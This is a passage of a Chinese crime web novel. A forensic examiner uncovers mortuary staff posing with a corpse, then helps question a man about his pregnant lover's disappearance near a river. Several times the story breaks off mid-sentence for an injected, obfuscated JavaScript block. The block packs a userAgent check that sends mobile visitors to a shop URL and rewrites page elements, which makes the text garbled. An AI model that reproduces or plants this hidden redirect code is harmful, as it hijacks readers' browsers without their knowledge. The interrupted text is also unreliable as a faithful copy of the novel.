许天笑了,看着周州,“对啊,另一只是在盒子里吗?再简陋的银摊也应该有包装吧,怎么就掉了一只。” 周州不耐烦起来:“我说你们没完了啊?谁工作不会出错?得饶人处且饶人,再说咱们又不是一个系统的,你们管得着我吗?我给你们解释是尊重你们。尸体没事,我给你们保存得好好的,你们约时间我也帮你们准备好了,还想怎样?” 他说完把耳钉装到裤兜里:“行了,忙你们的吧,我看你们也用不着我,我先走了,就当我没来过,以后见面好说话。” “等一下。”许天冷冷道,“周哥,如果真是你不小心掉了东西,捡起来就行了,我们也不会多事。可我怕这东西不是你掉的。” 周州身子一僵,“你什么意思?” “我的意思是你昨天或者今天早上有没有带不相干的人来过这里?” “没有!”周州反应神速,眼睛却没看许天,只扫了眼解剖床上的死者。 许天叹口气:“周哥,我们现在好好说话,是在给你将功补过的机会,如果你是带人来猎奇,那还好说,要是嫌疑人混进来销毁证据的话,你这可属于协助犯罪。” “你吓唬谁呢?” 小李皱眉:“周州,小许可没吓唬你,这件案子是重案,市局很重视……” “我们也很重视,这不是在配合你们吗?放心吧,我懂规矩,不可能带人来,再说这人变得人不人鬼不鬼的,谁敢看啊,你说是吧。” 周州说完就想走。 小李想拦他又怕起冲突。 许天站到死者脚边,揭开盖尸布,咦了一声:“这又是什么?周哥,你到底带谁来过?” 周州吓了一跳,忙走过来看,“又掉什么了?” 许天面无表情地说:“我没说掉什么啊,我是说有尸斑了啊!” 周州知道被她骗了,绷起脸来刚要狡辩,许天正色道:“周哥,对不起,你不能走,这事我们处理不了,我要报警。” “报什么警啊?小许,咱们也算是朋友了吧,昨天我一看见你就觉得咱俩有缘分。” 他开始套近乎,许天没理他,拦住他不让走,又让小李去给宁越打电话。 周州马上变了脸:“就算我带人来过又有什么关系,朋友听说了好奇嘛,看一眼能怎么样?” 许天无奈道:“周哥,我刚才说的话,你一句也没听进去啊,万一有嫌疑人借机……” “你放心好了,他们绝对不可能是嫌疑人,一个是我发小一个是我正在追的女朋友,昨天晚上我给他们讲鬼故事,把他们吓得不轻,非要看看巨人观是什么样,我这才领他们过来。” 等宁越到了,听到他这套说辞,不由皱眉:“你昨天不是想追许法医吗?你还说因为工作原因,你找不到对象,这又是从哪儿冒出来的女朋友?” 许天一愣,周州居然想追她?昨天是第一次见面吧,不是说八九十年代的人感情都很内敛吗? 周州见许天惊讶地看着他,也有些不好意思,“哈哈,就是怎么说呢?我见人家许法医有男朋友,就歇了心思,正好晚上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13263332|139850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我发小过生日,我们买了点啤酒说一块聚聚。那姑娘是我发小同事,居然不怕我,还缠着我讲殡仪馆的事,我就给他们说了这具尸体,他们就想看看,大晚上的不敢来,所以今天早上我就偷偷带他们进来看了眼。他们又怕又好奇,我正好要把尸体推过来,他们帮我推车,又问东问西,谁知道那姑娘把耳钉掉了。她刚才打电话让我看看是不是掉在我这儿了,我怕影响你们工作,就没明说。” 许天判断他说得应该大部分是真的,只是有些细节,恐怕没他说得那么轻描淡写。 “要是他们只是帮你推了车,耳钉怎么可能掉在解剖床上?” 宁越严肃起来:“周州,这事你得说清楚,不然我们得把你请到刑侦队,好好调查一番。” 周州忙道:“我们就是角色扮演来着,昨天喝酒的时候,我多嘴说碰到个女法医,还说女的当法医很少见。” 他看了眼许天:“他们就好奇嘛,我就揭开布给他们看,又说那开胸是怎么做的,然后那姑娘就说她要当女法医,假装给尸体解剖,我跟我发小给她当助手。” 宁越正忙着呢,他听完是气不打一处来,“周州,你这是为了追姑娘一点底线都没有啊,不帮忙也别添乱,搞什么啊!还角色扮演,当自己是明星吗?你们不会还拍照了吧?” “没有没有!这个绝对没有。”周州刚才就是拿着相机进来的,找东西时,他把相机放到了门口架子上。 这时他身子不着痕迹地移动着,似乎想挡住相机。 胡东过去一把抢过来:“看来还真拍照了!” 许天十分无语,这几个人胆子也太大了,别管法医还是殡葬工作者,工作第一要务就是要给死者该有的尊重,真没听说哪个工作人员敢这么做。 殡仪馆的相机不是拍立得,是胶卷的,等洗出来发现这三个人真是一点忌讳都没有,居然跟死者合影,还比画人家头部大小。 解剖室里有白大褂,那位叫小冬的姑娘居然还给套上了,拿着工具像模像样地在尸体上比画着。 周州应该在拍照,他发小在给小冬递工具。 光裸浮肿又恐怖的尸体成了他们的大号玩具。 许天是真无法理解,虽然气味淡了,但不戴好口罩还是能闻到,再说巨人观不是单纯把尸体放大,是皮肉五官都变形,看完能做噩梦的那种。 这仨人,居然能玩得这么高兴?还跟尸体合影?也真是臭味相投! 周州本来以为把耳钉拿走就算完事了,结果事情败露,照片都被找到。他无法狡辩,狠狠瞪了许天一眼,唉声叹气道:“也没多大事,至于吗?” 殡仪馆这边也吓了一跳,领导都跑来询问怎么回事,一边道歉一边又换了人跟公安局做交接。 周州的发小跟小冬也被带到公安局接受问询,两人居然都觉得没多大事。都说只是好奇去看看,正好有相机就拍下来了。 许天没跟着回公安局,她跟小李用了三个小时才把死者脸部复原得差不多。 小李激动道:“小许,你这手艺真不错,现在他熟人肯定能认出来,之前那脸是亲爹亲妈都认不出。” 许天也觉得很有成就感。 他们拍好照,又把尸体放好,赶回局里时已经下午五点半了。 许天把照片送到刑侦队,问宁越:“周州他们这算侮辱尸体罪吧?会刑拘吗?” 胡东笑了:“有这罪吗?确实过分了点,但也不至于判刑吧。” 宁越无奈道:“上边有人问,已经让他们走了。” 11. 河底沉骨11 许天听到那三个人已经走了,不由皱眉:“就这么放走了?这也太便宜他们了,宁队,他们不是单纯进去看了眼,还拍了不少照片,又摆各种姿势。” 宁越叹口气:“没办法,那小姑娘家好像有关系,再说他们也没造成社会危害,也没影响到案子,更没糟蹋尸体,只是拍了些照片而已。” “而已!”许天有些恼怒,但也知道宁越可能也没办法,“那也不能就这么算了,宁队,咱们公安局得发通知给他们各自的单位吧,这么恶劣的行为就算法律管不了,也得让他们受点处分才行。” 宁越笑了:“放心,我打电话让他们领导来接的,回去肯定好受不了,咱们还是专心眼前的案子吧。” 许天虽然生气,但也知道轻重,忙把照片递给宁越,“这个程度应该好辨认。” 宁越接过照片,想到之前死者的样子,不由冲许天竖起大拇指,“不错,有照片就好查多了,就算他一个亲朋好友都没有,也总有人见过他。” 许天又道:“对了,宁队,我化验过了,那两具上肢骨都是女性尸骨,据我推断白骨化时间应该在一年以上,其中一具要比另一具时间更久些,要送去省城做详细检验吗?” 现在DNA刚用到刑侦上,没有数据库,也没有可比对的DNA样本,送去也只能先存档。 “也就是说这两名死者不是一起死的?” 许天点头,“没错。” 宁越犹豫片刻,还是道:“先送过去吧,二分队正在排查失踪人口,总会有眉目的。” 等到第二天,宁越这边才查到‘仙儿’的真实身份,她叫米凤仙,在棉纺厂附近做杂工,认识她的人都说她人很好,就是爱打扮,花钱也大手大脚,也没人听说她做不正当职业。 租房给她的大妈说:“她说因为她生不了孩子,她男人总打她,她就离了婚,自己跑出来打工赚碗饭吃。我听着挺心疼的,就把这个耳房租给她了。警察同志,我们这片管得可严呢,她要敢出来卖,早被抓进去了,不过她确实爱跟男人开玩笑。” 宁越问:“米凤仙带人回来过吗?” “那倒没见过。” “你最后一次见她是什么时候?” “三天前吧,她说她要出去旅游,背着个包哼着小曲就走了。当时把我羡慕的啊,我这一把年纪了还得看着孙子,有钱也没空去旅游啊。” 大妈说完又担心地问:“警察同志,到底出什么事了?难道她不是去旅游,是跑到外地卖去了?看着不像这种人啊,她就是爱臭美,人真不坏。” “没有,但她可能失踪了!”宁越含糊道,目前还没找到米凤仙的尸体,只能算失踪。 他带人去米凤仙的出租屋检查一遍,耳房很小但收拾得很干净,除了被褥和衣物,桌上还有一些简单的化妆品,抽屉里还有两张二寸的证件照。 宁越戴着手套脚套把房间检查一遍,没发现打斗痕迹,他干脆叫来了许天:“小许,痕迹鉴定拿手吗?帮着看看能不能找出点蛛丝马迹,顺便做一下那个叫什么来着?看看这房间里有没有喷溅的血迹。” 大中午,许天背着大箱子,骑着自行车赶来,出了一身汗。 宁越在一边给她用文件夹扇着,“辛苦了!” 她忙往旁边站了站:“鲁米诺反应?当然可以做,我带试剂了。” 血迹很难完全清理干净,鲁米诺试剂是一种发光氨,把这种试剂喷洒在地板墙面上,可以和血液中的铁发生化学反应,发出蓝光,用这种办法能够判断这里是不是案发现场。 宁越说:“房东老太太爱去对面的供销社前边坐着唠嗑,很少在家,她说没见米凤仙带人回来过,可信度不高。” 许天喷试剂前,先把打开的衣柜关好,顺便瞥了眼里边的衣服,“我觉得她应该不是去旅游,一个爱美的女人去旅游肯定要带上漂亮衣服,你看这些裙子。” 宁越也早就发现了这一点:“是啊,所以我才叫你过来看一下,张猛一直在撒谎,他说掐死扔到水里了,谁知道怎么死的?那公园可不偏僻,怎么可能跑到那里杀人,还不被发现?” “那里也不是全天有人啊,直接推水里也不是不可能的事,我觉得他说的应该是实话,当时我看他很激动。” 宁越心说这姑娘看着老成,其实还很天真,罪犯的话可不能轻信,他们唱念做打,撒谎跟喝水一样自然。 他本想帮忙,可许天只戴了一套防护服和护目镜,他只好戴好口罩,站到门口。 许天手脚麻利,很快把重要的几个位置都检测一遍,没发现一丝血液残留,只有床头附近有些变色,但不是蓝光,只是颜色有些发暗。 宁越激动地指着那个位置:“小许,那里多喷点。” 许天无奈道:“这里肯定不是血迹,这种试剂不能多放,再说多放也没用啊。” 她说着起身观察着这个位置,又拿出刮板来想取样,“应该是呕吐物……” 她说着突然想起什么,取完样,又打开不大的衣柜看了眼:“宁队,她可能怀孕了。” 宁越一愣:“什么?怀孕?米凤仙吗?鲁米诺试剂能验孕?这么万能?” 许天忙摆手:“肯定不能,我是根据床头呕吐物和她衣柜里的内衣猜测的,她很爱干净,能控制的话,应该不会吐到床头地板上,可能是来不及去厕所,最有可能是孕吐或其他疾病产生的呕吐反应。还有这些内衣尺寸不一样,新的还有这件没拆封的比旧的要大两个号,怀孕后身体会发生变化,她应该是在做准备。” 宁越虽然检查过衣柜,但也不好意思拿着人家女同志的内衣细看,他还真没发现衣服有问题,这时惊讶道:“听起来还真有可能。怀孕了,还是跟张猛婚外情?” 许天道:“现在计划生育抓得这么严,没有准生证,这孩子能不能生还不一定,我觉得他们两个一定是因为这件事起了冲突。” 宁越看着许天笑起来:“这么说动机有了,小许,你可真是个福星!” 许天摊摊手,“我只是根据这些情况合理推断,是不是的还不一定。” 她做完检测,还得清理那些试剂,宁越看她一个人忙,自己也不好闲着,“你把防护服脱下来,我来清理。” 许天抬眼看他,“宁队有一米八吧,我这防护服确实大了点,但你也穿不了啊。” “让你一个女孩子在这儿干活,我干站着,实在不好意思。” “没事,这是我的工作。” “那等案子完了请你吃饭。” “不用,都说是工作了。宁队去忙吧,这里交给我就好。” 宁越确实急着回去审张猛,见她这么痛快,也不再耽搁,“下次出来带上小李,他不会干别的,打个杂帮个手总行吧。” “他在跟省城那边联系,准备把样本寄过去。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13263333|139850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 宁越也不废话了,留了个人守在外边,又叮嘱她注意安全,就带人先回了队里。 胡东那边找到了目击证人,见过张猛和米凤仙一起在国营饭店里吃饭。 这人在饭店对面的烟草公司上班,经常跟着领导到饭店吃饭,他说:“我跟张猛是邻居,我看他跟那女的挺亲密的,一见我就不好意思地笑,我就问他跟谁吃饭呢,他说是他表妹,我也没多想。” 现在有了目击证人,还有米凤仙的照片还复原了河边死者的容貌,张猛却不肯看照片一眼。 等宁越说出米凤仙可能一尸两命时,他才紧张起来,眼神一下子就黯淡多了。 宁越一看就明白了,他们两个确实是为了没出生的孩子发生的矛盾。 “张猛,虎毒不食子,你怎么下得了手呢?” 张猛喉咙动了动,艰难开口:“你们找到尸体了?真的是一尸两命?” 宁越知道他应该是不信米凤仙怀孕了,于是没说找没找到尸体,只含糊道:“一尸两命,你居然还试图蒙混过关?” 胡东也说:“张猛,跟情人再有矛盾也不该杀了自己的孩子啊。” 张猛以为他们是找到尸体才发现米凤仙怀孕,他知道自己无法再狡辩,绝望地砸着头,吼道:“那不是孩子,还没生出来呢,什么孩子!你别乱说。” 宁越松了口气:“哦,你是怕这孩子生出来?还是盼着孩子生出来?你跟米凤仙之间到底发生了什么?” 张猛情绪激动地吼了几句,哭道:“我也是鬼迷心窍,看她长得好看,就骚情了几句,哪知道她这么好勾搭。她说她生不了娃,才被前夫抛弃,也不打算结婚了,就是觉得孤单,才跟我在一起。我偷着攒下的钱都给她花了,把她当个宝,哪想到她突然说她怀孕了,还要让我跟我媳妇离婚。这不是扯呢吗?明明她说她怀不上的。” 宁越冷冷道:“于是你就把她杀了?” “没有,我没杀她,是我推了她一把,她没站稳不小心摔下去了,我本来想救她的,可看她护着肚子,嘴里还在喊我们的孩子,我就知道她肯定要把这孩子生下来,我怕这事让我媳妇知道了,我可就没活路了。我就犹豫了几秒吧,她就没声儿了,我真没想杀她,那是个意外。” 张猛越说越气,好像他受了多大委屈,“我就不该招惹这女人,米凤仙就是个爱骗人的贱女人,一有孩子就变了!我家里有个母老虎就已经够了,她还要逼婚,她那骚情样,不知道跟过多少男人,谁敢说她肚子里的孩子是谁的?她敢生,我可不敢养,这都是她自找的。” “也就是说你之前说她出来卖,是在诬蔑她?你不是说人是你掐死的吗?现在又说是意外?张猛,法医可以检验出所有痕迹,你不要存侥幸心理……” 宁越说一半留一半,张猛真以为他们找到了米凤仙,还检查出了死因,懊恼道:“真是意外,我确实掐她了,但我当时太生气,晕了头啊。我跟她说我媳妇发现这事了,让她出去躲两天,顺便把孩子打了,可她非要把孩子生下来。我掐着她摇晃,结果她往后退了几步不小心掉进河里了。” “然后你看着她淹死了?” “不是,我想救的时候,她已经没气了。” 张猛说着指指桌上那张死者照片,“警察同志,我招还不行吗?我这真是意外,这人才是杀人凶手,我当时吓坏了,刚要跑,正好看见这人推着个大箱子过来。” 12. 河底沉骨12 许天过来送检验报告时,宁越他们还在审。 张猛确实招了,但他却说不出米凤仙的尸体在哪里。 “我当时看见那人推着箱子过来,吓了一跳,怕他会报警。回去后,我越想越担心,才跟朋友说我在桥上看到有人像是要自杀,我……我其实……” 宁越道:“你当时说那些话其实是想给米凤仙的死做个铺垫,万一有人发现她的尸体,又看到你在那附近出现过,你就会说你确实去过,还看到米凤仙情绪低落,可能是自杀。” 张猛长叹一声:“没错,我就是这么想的。警察同志,这真是个意外,我没想弄死她,一日夫妻百日恩啊,我就是气坏了,掐了她两下,她不小心掉进河里的。她已经死了,我也得自保啊。结果那天晚上什么事都没有,没人来找我,我也没听说绿营公园发现了死尸。” 他一脸茫然:“我当时真跟做梦一样,我还想也许她自己从水里爬出来回家了?或者是被人救上来了?可我也不敢去找她,我跑去河边看了看什么痕迹都没有,我想她没准是被冲进下游了。结果昨天就听说河边发现了尸体,我跑去打听,都说是个男的,还泡得看不出长相,我更迷糊了,这怎么变成男的了?我就进了警戒线里。” 他叹口气:“当时我也不知道自己想找什么,到了那里,突然就想起我逃走时碰见的那个男人,他推着的那个箱子有古怪啊,而且他那个眼神很凶,看见我的时候他很意外。” 张猛犹豫着好像不知道该怎么描述,“怎么说呢,好像是害怕,又不是害怕,就是心虚但又露着狠劲,我当时自己心里有事,怕他报警,也没多想。昨天在河边我越想越不对劲,结果正好碰上你们了,你们没穿警服,我害怕啊,我以为是那天那个男人要杀人灭口,我就赶紧跑,你们才说你们是警察,我一听警察就更怕了……” 宁越把桌上的照片推过去:“你看到的人是他吗?” 张猛摇摇头:“不是他!我其实没看清那人长相,但再见面能认出来,肯定不是这个人。不过这人没准就是被那个推箱子的人杀的,你们该找的是他。警察同志,我跟米凤仙的事真是意外,他才是杀人凶手。” 宁越道:“也就是说你把米凤仙推进河里,之后逃跑,途中遇到了推着箱子,很凶狠的男人。第二天你去河边看,没发现米凤仙的尸体,也没发现其他尸体?等案子爆出来,你才又跑去河边?” “不是,后边是对的,但我没推她,她真是自己不小心掉下去的,我想救来着,可我怕她死了,我再惹一身骚,我这才跑啊。” 张猛咬死了没推米凤仙,只是轻轻掐了两下摇晃过她的肩膀,“总之是意外。” 案情更加复杂,宁越约了画像师,让张猛描述对方长什么样子,可他只对眼睛印象深刻,“反正就是不好惹的样儿,长方脸,长得挺大众,我真说不上鼻子嘴长什么样儿,反正就是一般人,但一看就很凶。” 这样描述出来的画像,基本没什么价值,可目前只有张猛这一个目击者。 许天在外边听完也觉得头大,看来这可能是两个案子凑到一起了。 宁越接过检验报告,问她,“你信他的话吗?” “宁队,上午你刚跟我说过,不能轻信嫌疑人的话。”许天笑道,“如果你们能找到米凤仙的尸体,我可以查一下她是生前被扔下河,还是死后被扔下河。当然我是说尸体还没被毁损的情况下。至于那个推箱子的男人和这具巨人观的尸体是怎么回事,我就不清楚了。对了,还有两具上肢骨被死者从水底带起来,这怎么都凑一块了?” 许天说着突然冒出个念头,问道:“宁队,发现第一现场的钓鱼大哥呢?他有没有描述死者跟这些骨头是什么状态?” “他只说是尸体跟骨头纠缠在一起,当时他的鱼钩钓住了那人的裤腰,他吓傻了,根本不敢细看。”宁越看着她,“小许,你想到什么?” “捞尸队捞了半天也没找到其他尸骨,米凤仙的尸体也不见了,有没有可能他是在转移尸体?只剩下最后一点残骨被水草缠住,于是他下潜到河底去捞尸骨,谁知道自己也被水草缠住,溺亡在那里。” 宁越愣了下,“你这个分析角度倒是新颖,如果死者就是张猛看见的推箱子男人,你这个推测还真有可能。” 胡东一直在旁边听着,这时也明白了他们的意思,“你们是说这个推箱子的男人把绿营公园当做抛尸地?结果发现张猛把米凤仙推下水,他怕米凤仙的尸体会引来警察调查,于是帮着处理了尸体?还想把以前扔的尸骨全都捡走?” 他说完觉得有点不可思议,“不太可能吧,为什么选在市区抛尸?” 宁越也摇头表示不解:“是啊,发现有别的尸体,把自己要扔的带走不就行了,为什么还要帮别人处理尸体呢?难道怕以前的残骨也暴露出来?” 胡东:“残骨能查出什么?帮别人处理尸体不是更麻烦?逻辑不通啊。” 宁越道:“不过小许的推测也有些道理,巨人观死者是溺水窒息而亡,又跟水草还有残肢纠缠在一起,确实有可能是在捞尸骨,可这位死者并不是张猛看到的男人,难道溺水的和推箱子的是同伙?” 胡东道:“我看这个张猛可能还没说实话,我觉得应该没那么复杂。” 许天也知道自己的推测不靠谱,见帮不上忙,就准备回法医处。 宁越喊住她,“一起开个案情会吧。” “我?”许天有些意外,指指自己疑惑道。 宁越笑着说:“没错,要没你,案子进展不会这么快,我们也不可能发现米凤仙怀孕,以后队里的凶杀案恐怕都免不了要麻烦你,先跟队里的人熟悉熟悉。” 刑侦队的人见来了个新人,还是漂亮姑娘,十分激动,等知道是新来的法医后,他们都有些惊讶,不时有人打量许天。 会上宁越把目前的线索都总结一遍,让大家集思广益,大家都觉得推箱子的男人是关键,问题是张猛有没有撒谎。 倒是刑侦员于斌有不同见解:“我看张猛就是在搅浑水,他一开始说掐死了米凤仙扔到河里,当时他情绪激动,这话很可能是真的。之后什么推箱子的男人都是他编出来混淆视听。我猜他杀了米凤仙,抛尸时被巨人观死者发现,于是他就把那人也扔到河里灭了口。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13263334|139850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 宁越道:“可河里只发现了男子尸体,米凤仙呢?” 于斌:“肯定是冲下去了啊,这河流速再慢也在流动,目击者被卷进漩涡里跟水草和残骨缠到一起,被钓鱼佬发现,米凤仙被水流带到下游,咱们还没找到。至于那什么上肢骨,不知道哪年哪月的了,宁队,你说哪条河里不死人?” 胡东说:“也是,夏天游泳的钓鱼的,哪年不死几个。” 许天本来以为没自己的事,只是旁听,听到这里,她不由道:“那两具上肢骨应该是近两年的,可以查一下失踪人口和河里意外死亡的,做下排除法。这两年淹死的肯定会捞起完整尸骨吧,怎么会只剩下上肢骨。” “冲下去了吧,水里的情况瞬息万变。” 于斌觉得自己的推测十分合理,“宁队,你说这个张猛被抓后撒了多少谎了?他的话能信?什么推着箱子的男人?箱子呢?还有他描述的画像,也太模糊了,绝对是他编出来的。” 胡东看着案情板上的线索图,突然也觉得于斌说得很符合逻辑。 “张猛确实一直在狡辩,哪怕承认了和米凤仙发生冲突导致她入水,也还在洗白自己,说一切都是意外。” 宁越沉吟片刻,说:“合理推测,认真求证,没查出真相时,一切皆有可能。现在许法医已经把巨人观死者的面貌复原出来,先发到各派出所,确定死者身份,才能接着往下查。至于张猛,接着熬他,反正还有一天时间。” 他开始安排任务,许天见没自己的事,先回了法医处。 小李见她回来,马上凑过去,“怎么样?听说还死了个女的?叫什么仙女儿?那个姓张的就是凶手吧?死的那男的是目击者还是奸夫?” “张猛跟米凤仙才是婚外情,米凤仙尸体还没找到,只能说失踪,男死者跟他们有没关系目前还不清楚。” 小李听得头大,“啊?这么复杂吗?” 许天无奈摊手,“我看这案子一天半天查不清楚。” 刑侦队都在加班,他们法医处倒是暂时清闲起来,按时下了班。 许天出门没骑出去一百米,马路上过来两辆工程车。 马路旁有脚手架,路窄了起码有四分之一,她忙停下来,等车过去。 工程车过去后,她一踩脚蹬子刚要走,前边突然有辆自行车直直撞过来。 许天躲闪不及,两人撞到一起。 她还没说话,对方先恼了,“好狗不挡道,你眼瞎吗?” 这嚣张无礼的语气把许天气笑了,她怒道:“靠右行驶,你不懂吗?哪怕是自行车也得遵守交通规则,你看看是谁逆行了?” “老娘就是逆行了,怎么样?赶紧给我让开。”对方是个年轻姑娘,高高的马尾辫,看穿着打扮像是单位上班的,但一张嘴就一股子二流子气展现无遗。 许天一开始以为对方逆行,且被工程车遮挡了视线,才会撞上,这时看到她的眼神瞬间明白了,这女的认识自己,她就是来找茬的。 难道是原主以前得罪的人? 她刚要问,突然想到殡仪馆的事,“你不会是郑小冬吧?” 13. 河底沉骨13 这女孩还真是郑小冬,她叉在自行车上,吊儿郎当地说:“没错,就是你姑奶奶我!” 许天不由笑了,“一会儿老娘,一会儿姑奶奶,我说你这辈分可真够乱的。郑小冬,别管你是谁的祖宗,都跟我没关系,你都说了好狗不挡道,还不让开!” 她说着挪着车把,想跟郑小冬擦肩而过,这种人能跑到殡仪馆里做出这么出格的事来,脑子肯定异于常人,讲道理没用,根本不能招惹。 她想息事宁人,哪想到郑小冬故意把她的车子往前怼过来,“要让也是你让!” 她打量着许天:“什么东西,丑八怪吧,下了班还捂这么严实,见不得人啊?” 郑小冬说着居然探身伸手想抓许天的口罩。 许天皱眉闪开,她就知道这三个人绝对不是什么好人,正常人就算猎奇想看一眼,也会保留最起码的尊重,哪像他们这么乱搞。 她反手拍开郑小冬的手,微微抬起自行车,车轮在地上空转了几下,两边都是施工地,这街道两边都是尘土,打扫不及时,在这条街上走一趟鞋子上都一层土。 许天这一转车轮,尘土飞扬,郑小冬嫌弃地后退两步,捂住口鼻,可还是固执地拦在她面前。 “知道为什么戴口罩了吧?你爱吃土我不拦着,别在这儿跟我动手动脚,伤着你,我可不负责。” 郑小冬见没吓住她,气得咬牙。 许天知道躲不过去,干脆开门见山。 “说吧,你想干什么?” 她冷笑一声:“你说我想干什么?你干你的活儿,干吗多管闲事?我不就是进去看了眼吗?有什么啊,拍照怎么了?你们不都拍照吗?我们又没拿照片去卖钱,就是拍着玩的。” 许天冷冷道:“等你死了,有人进去拍着玩,还跟你比V,你是不是也挺乐意啊?” “你咒我?” “不敢,我只是想让你换位思考,虽然还不知道死者身份,更不知道他是受害者还是罪犯,但他首先是个人,而且是个死人。你们真就没一点忌讳吗?” 许天是真不理解他们的所作所为。 郑小冬恶狠狠瞪着她:“呸,你一个法医,说什么忌讳啊!装模作样!现在周州被殡仪馆开除了!我也背了处分,你满意了吧。” 许天怔住,她确实不满意这事的处理结果,但听说周州被开除还是有些意外。 毕竟现在都是铁饭碗,就算犯点错,只要不违法,很少有开除的,最多调去烧锅炉看大门扫厕所。 不过这样的结果她并不觉得过分,周州很明显不适合殡仪馆的工作,要是不及时制止,以后还不知道会出什么荒唐事。 她看着郑小冬义愤填膺的样子,呵了一声:“我满意什么?那不是他自作自受吗?不管是他们殡仪馆还是你们单位,肯定有工作条例啊,违反了就得接受处罚,关我屁事!” 郑小冬气哼哼地:“怎么不关你的事,要不是你多事,这事没人会知道。现在周州工作都丢了,你必须给我们个交代。” 许天都气乐了,做错了事不知道反省,怎么还能这么理直气壮? “我给你们什么交代?行啊,那我去你们单位跟你们领导说别给你处分,免得你跑来我们单位闹事。” “你敢威胁我!”郑小冬气得跺脚,“我跟你说,你要不把这事解决了,我跟你没完。” “怎么个没完法?每天都来堵我?” 许天说着指指身后,“知道我从哪儿出来的吗?法医也是警察,我报警可方便得很。郑小冬,你要搞清楚,这事罪魁祸首好像是你吧,周州说是你想看,他才带你去,也是你把耳钉掉在解剖床上,他才回去找,这才被我发现。换句话说,是你害周州丢了工作。” “你胡说什么,这事都怪你多管闲事。” 许天懒得跟她纠缠,“其实我个人认为是他自作自受,不过跟他比,你的处分好像太轻了点,郑小冬,我劝你好自为之,别跟周州一样丢了工作。” 她说完一拐车把从马路牙子上拐了过去,郑小冬还想追上来,许天停车回头:“再跟着我,咱们就进公安局里把这事说清楚,顺便把你领导请过来接你。” 正好有刑侦队的警车经过,可能看见许天了,胡东按了下喇叭,许天跟他挥挥手。 郑小冬见此,恶狠狠瞪了她一眼,不敢再跟着了。 许天骑车回家,觉得有点闹心,看这样子,郑小冬应该不会善罢甘休。 她并不后悔举报周州,但被郑小冬这种无赖缠住会很烦,也不能每次都用警察身份或是郑小冬的领导来压她。 她要是怕的话,也不可能跑到公安局门口来堵人啊。 看来得打听一下郑小冬到底有什么关系,就算有人护着她,知道她挑衅警察,应该会管吧,不管的话就不怕这后台不稳吗? 许天一边琢磨着该怎么处理这件事,一边骑车进了纺织厂大院。 纺织厂的宿舍区是六二年盖的,都是平房,路两边种着的梧桐树都老粗了,夕阳下树影摇曳,比马路上要清凉得多。 许家是第一排最里边的三间,她直接把车子骑到门口,停下车摘下口罩,刚要进屋,就听见身后一个大嗓门。 “天天回来了?你妈说你分到公安局了,结果我今儿听说你是当法医的啊,我还听说绿营公园的尸体是你收的?真的吗?我说天天,当初不是说考的医学院吗?怎么没分到人民医院,成了收尸的?” 吴婶子手里攥着块姜,不知道从哪家出来的,她声调高亢,好像生怕别人听不见。可能也是真好奇吧,眼里闪着八卦之光,紧紧盯着许天手里的口罩,心里也不知道在脑补什么。 许天无语极了,吴婶子心不坏,就是这张嘴永远不闲着,而且什么都能给你说歪了。 她不往家里看,也知道老妈何桂花马上要出来了,估计要吵起来。 许天忙说:“吴婶子,什么叫收尸的?法医是警察,办案的!我说吴婶子,你可别乱打听了,我们现在正在找嫌疑人,据说凶手杀了人都会四处打听办案进展,还会想办法接近办案人员,你说你跑我们家门口等着我,问我案子的事,这好说不好听啊。” 吴婶子吓了一跳,“你看这孩子,怎么跟你妈一样?还学会吓唬人了?我就是好奇问问,怎么还能成嫌……嫌什么人啊?就我这样的能杀人?我杀鸡都不会, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13263335|139850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 今儿下午炖的那只还是你叔儿宰的。” 何桂花围着围裙,手里拿着根葱跑出来,“她吴婶子,早跟你说了,公安局的事你别打听,我们家里人都不敢打听,公安局办的都是大案,你当是街口派出所啊?” 隔壁那家也正做饭呢,一个小伙子拎着桶从厨房出来,“天天,你现在是警察?” “对,在公安局法医处当法医。”许天不觉得当法医有什么不好。 那小伙子叫何俊杰,接了他妈的班,也在厂里工作,这时笑着点头:“法医挺好的,清闲吧。” 许天一时不知该如何回答,没案子的时候倒是清闲,现在有案子,好像也比刑侦队那边清闲点。 